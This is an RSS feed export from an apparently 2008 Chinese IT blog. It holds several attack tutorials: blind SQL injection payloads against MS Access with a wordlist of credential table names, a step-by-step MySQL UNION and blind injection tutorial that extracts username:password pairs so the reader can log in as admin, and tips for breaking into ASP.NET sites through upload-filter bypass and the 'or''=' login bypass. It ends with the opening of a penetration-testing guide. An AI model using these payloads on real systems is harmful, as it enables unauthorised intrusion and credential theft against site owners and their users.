<LI><FONT face=Verdana>Connect</FONT> 
</LI><LI><FONT face=Verdana>Database</FONT> 
</LI><LI><FONT face=Verdana>DataCreate</FONT> 
</LI><LI><FONT face=Verdana>DataUpdate</FONT> 
</LI><LI><FONT face=Verdana>Flags</FONT> 
</LI><LI><FONT face=Verdana>ForeignName</FONT> 
</LI><LI><FONT face=Verdana>Id</FONT> 
</LI><LI><FONT face=Verdana>Lv</FONT> 
</LI><LI><FONT face=Verdana>LxExtra</FONT> 
</LI><LI><FONT face=Verdana>LvModule</FONT> 
</LI><LI><FONT face=Verdana>LvProp</FONT> 
</LI><LI><FONT face=Verdana>Name</FONT> 
</LI><LI><FONT face=Verdana>Owner</FONT> 
</LI><LI><FONT face=Verdana>ParentId</FONT> 
</LI><LI><FONT face=Verdana>RmtInfoLong</FONT> 
</LI><LI><FONT face=Verdana>RmtInfoShort</FONT> 
</LI><LI><FONT face=Verdana>Type</FONT> </LI></UL>
<P><FONT face=Verdana>这条查询可以用来获得数据库中的表名:</FONT></P>
<UL>
<LI><STRONG><FONT face=Verdana>' UNION <FONT color=#0066ff>SELECT Name FROM MSysObjects WHERE Type = 1</FONT>%00</FONT></STRONG> </LI></UL></TD></TR>
<TR>
<TD align=left width=1027 bgColor=#efefef colSpan=2 height=1><STRONG><FONT face=Verdana size=4>Access盲注(这些步骤用来猜解表的内容)</FONT></STRONG></TD></TR>
<TR>
<TD align=left width=205 height=1><STRONG><FONT face="Times New Roman" color=#ff3300 size=4>第一步:猜解表名</FONT></STRONG></TD>
<TD width=823 height=1><FONT face=Verdana>你可以使用下面提供的字典来猜解表名.注入查询语句: </FONT>
<UL>
<LI><STRONG><FONT face=Verdana>' AND <FONT color=#0066ff>(SELECT TOP 1 1 FROM TableNameToBruteforce[i])</FONT>%00</FONT></STRONG> </LI></UL>
<P><FONT face=Verdana>在提交注入查询语句后,如果你获得的HTML返回和正常页面一样,则表存在.(因为 "<STRONG><EM><FONT color=#ff3300>AND 1</FONT></EM></STRONG>"对查询没有任何影响).</FONT></P></TD></TR>
<TR>
<TD align=left width=205 height=1>
<P dir=ltr><STRONG><FONT face="Times New Roman" color=#ff3300 size=4>第二步: 猜解列名</FONT></STRONG></P></TD>
<TD width=823 height=1><FONT face=Verdana>在指导表名的情况下,使用如下查询:</FONT> 
<UL>
<LI><STRONG><FONT face=Verdana>' AND <FONT color=#0066ff>(SELECT TOP 1 FieldNameToBruteForce[j] FROM table)</FONT>%00</FONT></STRONG> </LI></UL>
<P><FONT face=Verdana>用和第一步同样的方法判断列是否存在.</FONT></P></TD></TR>
<TR>
<TD align=left width=205 height=1><STRONG><FONT face="Times New Roman" color=#ff3300 size=4>第三步:猜解内容的行数</FONT></STRONG></TD>
<TD width=823 height=1><FONT face=Verdana>在进一步的行动中,你必须知道表中内容的行数. 它在下面的查询中将被用作"<EM><STRONG><FONT color=#ff0000>TAB_LEN</FONT></STRONG></EM>"变量:</FONT> 
<UL>
<LI><STRONG><FONT face=Verdana>' AND <FONT color=#0066ff>IIF((SELECT COUNT(*) FROM validTableName) = X, 1, 0)</FONT>%00</FONT></STRONG> </LI></UL>
<P><FONT face=Verdana>这里的<EM><STRONG><FONT color=#ff3300>"X"</FONT></STRONG></EM> 是大于0的任意值.可以使用老方法来判断"X"的准确值.</FONT></P></TD></TR>
<TR>
<TD align=left width=205 height=1><STRONG><FONT face="Times New Roman" color=#ff3300 size=4>第四步:猜解内容的长度</FONT></STRONG></TD>
<TD width=823 height=1>
<P dir=ltr><FONT face=Verdana>你能通过以下语句获取"<EM>ATTRIB</EM>"列的第一行的内容长度:</FONT></P>
<UL>
<LI dir=ltr>
<P dir=ltr><STRONG><FONT face=Verdana>' AND <FONT color=#0066ff>IIF((SELECT TOP 1 LEN(ATTRIB) FROM validTableName) = X, 1, 0)</FONT>%00</FONT></STRONG> </P></LI></UL>
<P dir=ltr><FONT face=Verdana>可以通过以下语句猜解到 "<EM>ATTRIB</EM>"列中第二行到第<EM>TAB_LEN</EM>行的内容的长度 (这里N的值在2和<EM>TAB_LEN(在前面已经获得)</EM>之间) :</FONT> </P>
<UL>
<LI>
<P><STRONG><FONT face=Verdana>' AND<FONT color=#0066ff> IIF((SELECT TOP N LEN(ATTRIB) FROM validTableName WHERE ATTRIB&lt;&gt;'value1' AND ATTRIB&lt;&gt;'value2' </FONT><FONT color=#111111>...(etc)...</FONT><FONT color=#0066ff>) = KKK,1,0)</FONT>%00</FONT></STRONG> </P></LI></UL>
<P><FONT face=Verdana><EM>"</EM><STRONG><EM><FONT color=#ff3300>KKK</FONT></EM></STRONG><EM>"</EM><STRONG><EM><FONT color=#ff3300> </FONT></EM></STRONG><FONT color=#111111>为大于0的任意值,使用</FONT><FONT color=#ff3300><STRONG><EM>ATTRIB&lt;&gt;'valueXXX'</EM></STRONG></FONT>的原因是我们必须选择一个特定的行来猜解.我想到的方法是将之前得到的<EM>"<STRONG><FONT color=#ff0000>TOP N</FONT></STRONG>"</EM>行的值排除掉,然后剩下的行就是正在猜解的行.当然,这里有一个前提"<STRONG><FONT color=#ff0000><EM>ATTRIB</EM></FONT></STRONG>"必须是主键.这里有一个例子:</FONT> </P>
<P dir=ltr></P>
<DIV align=center>
<CENTER>
<TABLE style="BORDER-COLLAPSE: collapse" borderColor=#111111 cellSpacing=0 cellPadding=0 width="49%" border=1>
<TBODY>
<TR>
<TD width="33%" bgColor=#cc3399><STRONG><FONT face=Verdana color=#ffffff>A1</FONT></STRONG></TD>
<TD width="33%" bgColor=#cc3399><STRONG><FONT face=Verdana color=#ffffff>A2</FONT></STRONG></TD>
<TD width="34%" bgColor=#cc3399><STRONG><FONT face=Verdana color=#ffffff>A3</FONT></STRONG></TD></TR>
<TR>
<TD width="33%"><FONT face=Verdana>1111</FONT></TD>
<TD width="33%"><FONT face=Verdana>2222</FONT></TD>
<TD width="34%"><FONT face=Verdana>3333</FONT></TD></TR>
<TR>
<TD width="33%"><FONT face=Verdana>0000</FONT></TD>
<TD width="33%"><FONT face=Verdana>4444</FONT></TD>
<TD width="34%"><FONT face=Verdana>oooo</FONT></TD></TR>
<TR>
<TD width="33%"><FONT face=Verdana>aaaa</FONT></TD>
<TD width="33%"><FONT face=Verdana>bbbb</FONT></TD>
<TD width="34%"><FONT face=Verdana>cccc</FONT></TD></TR></TBODY></TABLE></CENTER></DIV>
<P dir=ltr align=left><FONT face=Verdana>可以这样获取第一行的所有内容的长度:</FONT> </P>
<UL>
<LI dir=ltr>
<P dir=ltr align=left><STRONG><FONT face=Verdana>' AND</FONT><FONT face=Verdana color=#0066ff> IIF((SELECT TOP 1 LEN(A1) FROM Table) = KKK, 1, 0)</FONT><FONT face=Verdana>%00<BR>&nbsp;</FONT></STRONG> </P>
</LI><LI dir=ltr>
<P dir=ltr align=left><STRONG><FONT face=Verdana>' AND</FONT><FONT face=Verdana color=#0066ff> IIF((SELECT TOP 1 LEN(A2) FROM Table) = KKK, 1, 0)</FONT><FONT face=Verdana>%00<BR>&nbsp;</FONT></STRONG> </P>
</LI><LI dir=ltr>
<P dir=ltr align=left><STRONG><FONT face=Verdana>' AND</FONT><FONT face=Verdana color=#0066ff> IIF((SELECT TOP 1 LEN(A3) FROM Table) = KKK, 1, 0)</FONT><FONT face=Verdana>%00</FONT></STRONG> </P></LI></UL>
<P dir=ltr align=left><FONT face=Verdana>然后就可以这样获取第二行的内容的长度(假设<EM>A1</EM>为表的主键) :</FONT> </P>
<UL>
<LI dir=ltr>
<P dir=ltr align=left><STRONG><FONT face=Verdana>' AND</FONT><FONT face=Verdana color=#0066ff> IIF((SELECT TOP 2 LEN(A1) FROM Table WHERE<BR>A1 &lt;&gt;'1111') = KKK, 1, 0)</FONT><FONT face=Verdana>%00<BR>&nbsp;</FONT></STRONG> </P>
</LI><LI>
<P align=left><STRONG><FONT face=Verdana>' AND</FONT><FONT face=Verdana color=#0066ff> IIF((SELECT TOP 2 LEN(A2) FROM Table WHERE <BR>A1 &lt;&gt; '1111') = KKK, 1, 0)</FONT><FONT face=Verdana>%00<BR>&nbsp;</FONT></STRONG> </P>
</LI><LI dir=ltr>
<P dir=ltr align=left><STRONG><FONT face=Verdana>' AND</FONT><FONT face=Verdana color=#0066ff> IIF((SELECT TOP 2 LEN(A3) FROM Table WHERE<BR>A1 &lt;&gt; '1111') = KKK, 1, 0)</FONT><FONT face=Verdana>%00</FONT></STRONG> </P></LI></UL>
<P dir=ltr align=left><FONT face=Verdana>第三行也一样:</FONT> </P>
<UL>
<LI dir=ltr>
<P dir=ltr align=left><STRONG><FONT face=Verdana>' AND</FONT><FONT face=Verdana color=#0066ff> IIF((SELECT TOP 3 LEN(A1) FROM Table WHERE<BR>A1 &lt;&gt;'1111' AND A1 &lt;&gt; '0000') = KKK, 1, 0)</FONT><FONT face=Verdana>%00<BR>&nbsp;</FONT></STRONG> </P>
</LI><LI>
<P align=left><STRONG><FONT face=Verdana>' AND</FONT><FONT face=Verdana color=#0066ff> IIF((SELECT TOP 3 LEN(A2) FROM Table WHERE <BR>A1 &lt;&gt; '1111' AND A1 &lt;&gt; '0000') = KKK, 1, 0)</FONT><FONT face=Verdana>%00<BR>&nbsp;</FONT></STRONG> </P>
</LI><LI dir=ltr>
<P dir=ltr align=left><STRONG><FONT face=Verdana>' AND</FONT><FONT face=Verdana color=#0066ff> IIF((SELECT TOP 3 LEN(A3) FROM Table WHERE<BR>A1 &lt;&gt; '1111' AND A1 &lt;&gt; '0000') = KKK, 1, 0)</FONT><FONT face=Verdana>%00</FONT></STRONG> </P></LI></UL>
<P dir=ltr align=left><FONT face=Verdana>很明显,在猜解第一行以后的内容的长度(第2到第TAB_LEN行),你必须得到之前所有行的内容(你需要把它放在WHERE后).</FONT></P></TD></TR>
<TR>
<TD align=left width=205 height=1><STRONG><FONT face="Times New Roman" color=#ff3300 size=4>第五步:猜解内容</FONT></STRONG></TD>
<TD width=823 height=1><FONT face=Verdana>假设攻击者已经知道了表和列名,他将使用这样的查询:</FONT> 
<UL>
<LI>
<P><STRONG>' AND <FONT face=Verdana color=#0066ff>IIF((SELECT TOP N MID(ATTRIBxxx, XXX, 1) FROM validTableName WHERE ATT_key &lt;&gt;'value1' AND ATT_key </FONT><FONT face=Verdana><FONT color=#0066ff>&lt;&gt;'value2'<BR></FONT>... etc ...<FONT color=#0066ff> ) = CHAR(YYY), 1, 0)</FONT>%00</FONT></STRONG> </P></LI></UL>
<P><FONT face=Verdana><EM><STRONG><FONT color=#ff3300>"N"</FONT></STRONG></EM>是要猜解的行, <EM><STRONG><FONT color=#ff3300>"XXX"</FONT></STRONG></EM>是 <STRONG><EM><FONT color=#ff3300>"ATTRIBxxx"</FONT></EM></STRONG>的第X个字节, <STRONG><EM><FONT color=#ff3300>"ATT_key"</FONT></EM></STRONG>是表的的主键<EM><STRONG><FONT color=#ff3300>"YYY"</FONT></STRONG></EM>是一个0到255之间的数.(它代表着一个字符的ASCII码).这里我们任然要使用前面提到的方法猜解其他行的内容.</FONT></P></TD></TR>
<TR>
<TD align=left width=1027 bgColor=#efefef colSpan=2 height=1><FONT face=Verdana size=4>表名/列名(字典)</FONT></TD></TR>
<TR>
<TD align=left width=205 height=1><STRONG><FONT color=#ff0000 size=4>表名/列名(字典)</FONT></STRONG></TD>
<TD width=823 height=1><FONT face=Verdana>这里是一个小的表/列名样本字典,在猜解中也许用的到:</FONT> 
<UL>
<LI><FONT size=2>
<P align=left>&nbsp;</P></FONT><EM><STRONG><FONT face=Verdana color=#0066ff size=3>account, accnts, accnt, user_id, members, usrs, usr2, accounts, admin, admins, adminlogin, auth, authenticate, authentication, account, access;</FONT></STRONG></EM> 
</LI><LI>
<P align=left><EM><STRONG><FONT face=Verdana color=#0066ff>customers, customer, config, conf, cfg;</FONT></STRONG></EM></P>
</LI><LI>
<P align=left><EM><STRONG><FONT face=Verdana color=#0066ff>hash;</FONT></STRONG></EM></P>
</LI><LI>
<P align=left><EM><STRONG><FONT face=Verdana color=#0066ff>login, logout, loginout, log;</FONT></STRONG></EM></P>
</LI><LI>
<P dir=ltr align=left><EM><STRONG><FONT face=Verdana color=#0066ff>member, memberid;</FONT></STRONG></EM></P>
</LI><LI>
<P align=left><EM><STRONG><FONT face=Verdana color=#0066ff>password, pass_hash, pass, passwd, passw, pword, pwrd, pwd;</FONT></STRONG></EM></P>
</LI><LI>
<P align=left><EM><STRONG><FONT face=Verdana color=#0066ff>store, store1, store2, store3, store4, setting;</FONT></STRONG></EM></P>
</LI><LI dir=ltr>
<P dir=ltr align=left><EM><STRONG><FONT face=Verdana color=#0066ff>username, name, user, user_name, user_username, uname, user_uname, usern, user_usern, un, user_un, usrnm, user_usrnm, usr, usernm, user_usernm, user_nm, user_password, userpass, user_pass, , user_pword, user_passw, user_pwrd, user_pwd,&nbsp; user_passwd;</FONT></STRONG></EM></P></LI></UL></TD></TR></TBODY></TABLE>
<H5 >&nbsp;</H5></div>]]></description>
	    <author><![CDATA[ItPro]]></author>
	    <comments>http://itpro.blog.163.com/blog/static/31798557200842782711440</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://itpro.blog.163.com/blog/static/31798557200842782711440</guid>
    <pubDate>Tue, 27 May 2008 08:27:11 +0800</pubDate>
    <dcterms:modified>2008-05-27T08:27:11+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[Full SQL Injection Tutorial (MySQL)]]></title>	
    <link>http://itpro.blog.163.com/blog/static/317985572008427897379</link>
    <description><![CDATA[<div><P>SQL Injection Tutorial by Marezzi (MySQL)</P>
<P>In this tutorail i will describe how sql injection works and how to<BR>use it to get some useful information.</P>
<P><BR>First of all: What is SQL injection?</P>
<P>It's one of the most common vulnerability in web applications today.<BR>It allows attacker to execute database query in url and gain access<BR>to some confidential information etc...(in shortly).</P>
<P><BR>1.SQL Injection (classic or error based or whatever you call it)&nbsp; :D</P>
<P>2.Blind SQL Injection (the harder part)</P>
<P><BR>So let's start with some action :D</P>
<P><BR>1). Check for vulnerability</P>
<P>Let's say that we have some site like this</P>
<P><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A></P>
<P>Now to test if is vulrnable we add to the end of url ' (quote),</P>
<P>and that would be <A href="http://www.site.com/news.php?id=5'">http://www.site.com/news.php?id=5'</A></P>
<P>so if we get some error like<BR>"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."<BR>or something similar</P>
<P>that means is vulrnable to sql injection :)</P>
<P>2). Find the number of columns</P>
<P>To find number of columns we use statement ORDER BY (tells database how to order the result)</P>
<P>so how to use it? Well just incrementing the number until we get an error.</P>
<P><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A> order by 1/* &lt;-- no error</P>
<P><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A> order by 2/* &lt;-- no error</P>
<P><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A> order by 3/* &lt;-- no error</P>
<P><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A> order by 4/* &lt;-- error&nbsp; (we get message like this Unknown column '4' in 'order clause' or something like that)</P>
<P>that means that the it has 3 columns, cause we got an error on 4.</P>
<P>3). Check for UNION function</P>
<P>With union we can select more data in one sql statement.</P>
<P>so we have</P>
<P><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A> union all select 1,2,3/*&nbsp; (we already found that number of columns are 3 in section 2). )</P>
<P>if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works :)</P>
<P>4). Check for MySQL version</P>
<P><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A> union all select 1,2,3/*&nbsp; NOTE: if /* not working or you get some error, then try --<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; it's a comment and it's important for our query to work properly.</P>
<P>let say that we have number 2 on the screen, now to check for version<BR>we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.</P>
<P>it should look like this <A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A> union all select 1,@@version,3/*</P>
<P>if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."</P>
<P>i didn't see any paper covering this problem, so i must write it :)</P>
<P>what we need is convert() function</P>
<P>i.e.</P>
<P><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A> union all select 1,convert(@@version using latin1),3/*</P>
<P>or with hex() and unhex()</P>
<P>i.e.</P>
<P><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A> union all select 1,unhex(hex(@@version)),3/*</P>
<P>and you will get MySQL version :D</P>
<P>5). Getting table and column name</P>
<P>well if the MySQL version is &lt; 5 (i.e 4.1.33, 4.1.12...) &lt;--- later i will describe for MySQL &gt; 5 version.<BR>we must guess table and column name in most cases.</P>
<P>common table names are: user/s, admin/s, member/s ...</P>
<P>common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...</P>
<P>i.e would be</P>
<P><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A> union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good :D)</P>
<P>we know that table admin exists...</P>
<P>now to check column names.</P>
<P><BR><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A> union all select 1,username,3 from admin/* (if you get an error, then try the other column name)</P>
<P>we get username displayed on screen, example would be admin, or superadmin etc...</P>
<P>now to check if column password exists</P>
<P><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A> union all select 1,password,3 from admin/* (if you get an error, then try the other column name)</P>
<P>we seen password on the screen in hash or plain-text, it depends of how the database is set up :)</P>
<P>i.e md5 hash, mysql hash, sha1...</P>
<P>now we must complete query to look nice :)</P>
<P>for that we can use concat() function (it joins strings)</P>
<P>i.e</P>
<P><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A> union all select 1,concat(username,0x3a,password),3 from admin/*</P>
<P>Note that i put 0x3a, its hex value for :&nbsp; (so 0x3a is hex value for colon)</P>
<P>(there is another way for that, char(58), ascii value for : )</P>
<P><BR><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A> union all select 1,concat(username,char(58),password),3 from admin/*</P>
<P>now we get dislayed username:password on screen, i.e admin:admin or admin:somehash</P>
<P>when you have this, you can login like admin or some superuser :D</P>
<P>if can't guess the right table name, you can always try mysql.user (default)</P>
<P>it has user i password columns, so example would be</P>
<P><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A> union all select 1,concat(user,0x3a,password),3 from mysql.user/*</P>
<P>That's all in this part, now we can proceed on harder part :)</P>
<P><BR>2. Blind SQL Injection</P>
<P>Blind injection is a little more complicated the classic injection but it can be done :D</P>
<P>I must mention, there is very good blind sql injection tutorial by xprog, so it's not bad to read it :D</P>
<P>Let's start with advanced stuff.</P>
<P>I will be using our example</P>
<P><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A></P>
<P>when we execute this, we see some page and articles on that page, pictures etc...</P>
<P>then when we want to test it for blind sql injection attack</P>
<P><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A> and 1=1&nbsp; &lt;--- this is always true</P>
<P>and the page loads normally, that's ok.</P>
<P>now the real test</P>
<P><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A> and 1=2 &lt;--- this is false</P>
<P>so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.</P>
<P>1) Get the MySQL version</P>
<P>to get the version in blind attack we use substring</P>
<P>i.e</P>
<P><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A> and substring(@@version,1,1)=4</P>
<P>this should return TRUE if the version of MySQL is 4.</P>
<P>replace 4 with 5, and if query return TRUE then the version is 5.</P>
<P>i.e</P>
<P><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A> and substring(@@version,1,1)=5</P>
<P>2) Test if subselect works</P>
<P>when select don't work then we use subselect</P>
<P>i.e</P>
<P><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A> and (select 1)=1</P>
<P>if page loads normally then subselects work.</P>
<P>then we gonna see if we have access to mysql.user</P>
<P>i.e</P>
<P><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A> and (select 1 from mysql.user limit 0,1)=1</P>
<P>if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.</P>
<P>3). Check table and column names</P>
<P>This is part when guessing is the best friend :)</P>
<P>i.e.</P>
<P><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A> and (select 1 from users limit 0,1)=1&nbsp; (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)</P>
<P>then if the page loads normally without content missing, the table users exits.<BR>if you get FALSE (some article missing), just change table name until you guess the right one :)</P>
<P>let's say that we have found that table name is users, now what we need is column name.</P>
<P>the same as table name, we start guessing. Like i said before try the common names for columns.</P>
<P>i.e</P>
<P><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A> and (select substring(concat(1,password),1,1) from users limit 0,1)=1</P>
<P>if the page loads normally we know that column name is password (if we get false then try common names or just guess)</P>
<P>here we merge 1 with the column password, then substring returns the first character (,1,1)</P>
<P><BR>4). Pull data from database</P>
<P>we found table users i columns username password so we gonna pull characters from that.</P>
<P><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A> and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))&gt;80</P>
<P>ok this here pulls the first character from first user in table users.</P>
<P>substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value</P>
<P>and then compare it with simbol greater then &gt; .</P>
<P>so if the ascii char greater then 80, the page loads normally. (TRUE)</P>
<P>we keep trying until we get false.</P>
<P><BR><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A> and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))&gt;95</P>
<P>we get TRUE, keep incrementing</P>
<P><BR><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A> and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))&gt;98</P>
<P>TRUE again, higher</P>
<P><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A> and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))&gt;99</P>
<P>FALSE!!!</P>
<P>so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.</P>
<P>then let's check the second character.</P>
<P><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A> and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))&gt;99</P>
<P>Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)</P>
<P>&nbsp;<BR><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A> and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))&gt;99</P>
<P>TRUE, the page loads normally, higher.</P>
<P><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A> and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))&gt;107</P>
<P>FALSE, lower number.</P>
<P><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A> and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))&gt;104</P>
<P>TRUE, higher.</P>
<P><A href="http://www.site.com/news.php?id=5">http://www.site.com/news.php?id=5</A> and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))&gt;105</P>
<P>FALSE!!!</P>
<P>we know that the second character is char(105) and that is 'i'. We have 'ci' so far</P>
<P>so keep incrementing until you get the end. (when &gt;0 returns false we know that we have reach the end).</P>
<P>There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually,</P>
<P>cause that makes you better SQL INJECTOR :D</P>
<P>Hope you learned something from this paper.</P>
<P>Have FUN! (:</P>
<P>To be continued and updated...</P>
<P><BR>&nbsp;</P></div>]]></description>
	    <author><![CDATA[ItPro]]></author>
	    <comments>http://itpro.blog.163.com/blog/static/317985572008427897379</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://itpro.blog.163.com/blog/static/317985572008427897379</guid>
    <pubDate>Tue, 27 May 2008 08:09:07 +0800</pubDate>
    <dcterms:modified>2008-05-27T08:09:07+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[入侵ASP.net网站的经验]]></title>	
    <link>http://itpro.blog.163.com/blog/static/3179855720084249359824</link>
    <description><![CDATA[<div><DIV >
<P>1、<BR>对一般遇到.net的网站时<BR>通常会注册个用户<BR>第一选择利用上传判断的漏洞 加图片头GIF89A 顺利饶过<BR><BR>2、<BR>第二种就是注入了, 在?id=xx后加单引号 " ' "<BR>一般情况下 用NBSI 啊D来SCAN 都可以发现BUG页面<BR>而且国内大多.net都是使用MSSQL数据库<BR>发现注入点也可以从login下手 其实这个方法目前的成功率在75%<BR><BR><BR>3、<BR>不过遇到搜索型的,和没错误信息回显的时候 在这里就卡住了<BR>大家可以看看网上一篇 搜索型注入的文章 运气好,数据库和WEB在一起<BR>直接在搜索里写备份LOG语句 如果输入框限制字符 可以本地做个POST表单<BR>也可以用WsockExpert抓包 对search.aspx?后的值分析后加注入语句<BR>获取路径就更好办了 只要web.config里 <BR>代码如下:</P>
<DIV >&lt;!-- Web.Config 配置文件 --&gt;<BR><BR>&lt;configuration&gt;<BR>&nbsp;&lt;system.web&gt;<BR>&nbsp;&lt;customErrors mode="On"/&gt; '这里为off就失败<BR>&nbsp;&lt;/system.web&gt;<BR>&lt;/configuration&gt;</DIV>
<P><BR>那么只需要在任意一个文件名前<BR>如allyesno.aspx 改为~allyesno.aspx 顺利获得WEB绝对路径<BR><BR><BR>4、<BR>运气好，发现登陆后台：<BR>比如:http://allyesno.cnblogs.com/admin/login.aspx<BR>如果输入密码错误返回到http://allyesno.cnblogs.com/admin/error.aspx<BR>如果输入<A href="http://allyesno.cnblogs.com/admin%5Cindex.aspx"><FONT color=#000000>http://allyesno.cnblogs.com/admin%5Cindex.aspx</FONT></A>说不定可以饶过验证。<BR><BR><BR>5、<BR>后台饶过方法：<BR>'or''='<BR>'or''='<BR>或者<BR>'or'='or'<BR>'or'='or'</P></DIV></div>]]></description>
	    <author><![CDATA[ItPro]]></author>
	    <comments>http://itpro.blog.163.com/blog/static/3179855720084249359824</comments>
    <slash:comments>1</slash:comments>
    <guid isPermaLink="true">http://itpro.blog.163.com/blog/static/3179855720084249359824</guid>
    <pubDate>Sat, 24 May 2008 09:03:59 +0800</pubDate>
    <dcterms:modified>2008-05-24T09:03:59+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[渗透测试(Penetration Testing)]]></title>	
    <link>http://itpro.blog.163.com/blog/static/31798557200841734057201</link>
    <description><![CDATA[<div><H1 >渗透测试(Penetration Testing)</H1>
<DIV ><SPAN ></SPAN>
<DIV >
<H1><STRONG>目录</STRONG></H1>
<P>Author : ZwelL<BR>Last Updated : 2007.12.16</P>
<P><STRONG><A href="http://www.nosec.org/web/index.php?q=pentest#0"><FONT color=#0066cc><U>零、前言</U></FONT></A><BR><A href="http://www.nosec.org/web/index.php?q=pentest#1"><FONT color=#0066cc><U>一、简介</U></FONT></A><BR><A href="http://www.nosec.org/web/index.php?q=pentest#2"><FONT color=#0066cc><U>二、制定实施方案</U></FONT></A><BR><A href="http://www.nosec.org/web/index.php?q=pentest#3"><FONT color=#0066cc><U>三、具体操作过程</U></FONT></A><BR><A href="http://www.nosec.org/web/index.php?q=pentest#4"><FONT color=#0066cc><U>四、生成报告</U></FONT></A><BR><A href="http://www.nosec.org/web/index.php?q=pentest#5"><FONT color=#0066cc><U>五、测试过程中的风险及规避</U></FONT></A><BR><A href="http://www.nosec.org/web/index.php?q=pentest#5"><FONT color=#0066cc><U>参考资料</U></FONT></A></STRONG><BR><STRONG><A href="http://www.nosec.org/web/index.php?q=pentest#6"><U><FONT color=#0066cc>FAQ集</FONT></U></A></STRONG></P>
<P><U><FONT color=#0066cc>
</FONT></U></P><HR>
</FONT></U><BR>
<H1><STRONG><A title=" title=" title="></A>零、前言</STRONG></H1>
<P>渗透测试在未得到被测试方授权之前依据某些地区法律规定是违法行为。 这里我们提供的所有渗透测试方法均为（假设为）合法的评估服务，也就是通常所说的道德黑客行为（Ethical hacking），因此我们这里的所有读者应当都是Ethical Hackers，如果您还不是，那么我希望您到过这里后会成为他们中的一员 ；）<BR>这里，我还想对大家说一些话：渗透测试重在实践，您需要一颗永不言败的心和一个有着活跃思维的大脑。不是说您将这一份文档COPY到您网站上或者保存到本地电脑您就会了，即使您将它打印出来沾点辣椒酱吃了也不行，您一定要根据文档一步一步练习才行。而且测试重在用脑，千万别拿上一两个本文中提到的工具一阵乱搞，我敢保证：互联网的安全不为因为这样而更安全。祝您好运。。。</P>
<H1><STRONG><A title=1 ></A>一、简介</STRONG></H1>
<UL>
<LI>什么叫渗透测试？<BR>渗透测试最简单直接的解释就是：完全站在攻击者角度对目标系统进行的安全性测试过程。 
